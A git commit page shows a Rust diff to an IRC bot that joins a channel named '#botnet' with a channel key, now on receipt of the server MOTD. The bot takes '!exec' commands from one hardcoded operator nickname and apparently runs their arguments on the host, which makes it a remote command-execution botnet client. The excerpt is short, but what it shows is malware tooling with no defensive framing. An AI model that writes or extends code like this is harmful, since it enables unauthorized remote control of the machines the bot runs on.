join with keys
This commit is contained in:
parent
54b29b8e82
commit
06e54075a8
10
src/main.rs
10
src/main.rs
@ -17,7 +17,7 @@ async fn main() -> Result<(), failure::Error> {
|
|||||||
let mut client = Client::from_config(config).await?;
|
let mut client = Client::from_config(config).await?;
|
||||||
client.identify()?;
|
client.identify()?;
|
||||||
|
|
||||||
client.send_join_with_keys::<&str, &str>("#botnet", "fuckyou")?;
|
|
||||||
|
|
||||||
let mut stream = client.stream()?;
|
let mut stream = client.stream()?;
|
||||||
let sender = client.sender();
|
let sender = client.sender();
|
||||||
@ -25,7 +25,8 @@ async fn main() -> Result<(), failure::Error> {
|
|||||||
while let Some(message) = stream.next().await.transpose()? {
|
while let Some(message) = stream.next().await.transpose()? {
|
||||||
print!("{}", message);
|
print!("{}", message);
|
||||||
|
|
||||||
if let Command::PRIVMSG(ref target, ref msg) = message.command {
|
match message.command {
|
||||||
|
Command::PRIVMSG(ref target, ref msg) => {
|
||||||
if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" {
|
if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" {
|
||||||
if &msg[1..5] == "exec" {
|
if &msg[1..5] == "exec" {
|
||||||
let mut args = msg.split_ascii_whitespace().skip(1);
|
let mut args = msg.split_ascii_whitespace().skip(1);
|
||||||
@ -82,6 +83,11 @@ async fn main() -> Result<(), failure::Error> {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Command::MOTD(ref _motd) => {
|
||||||
|
client.send_join_with_keys::<&str, &str>("#botnet", "fuckyou")?;
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
|
Loading…
x
Reference in New Issue
Block a user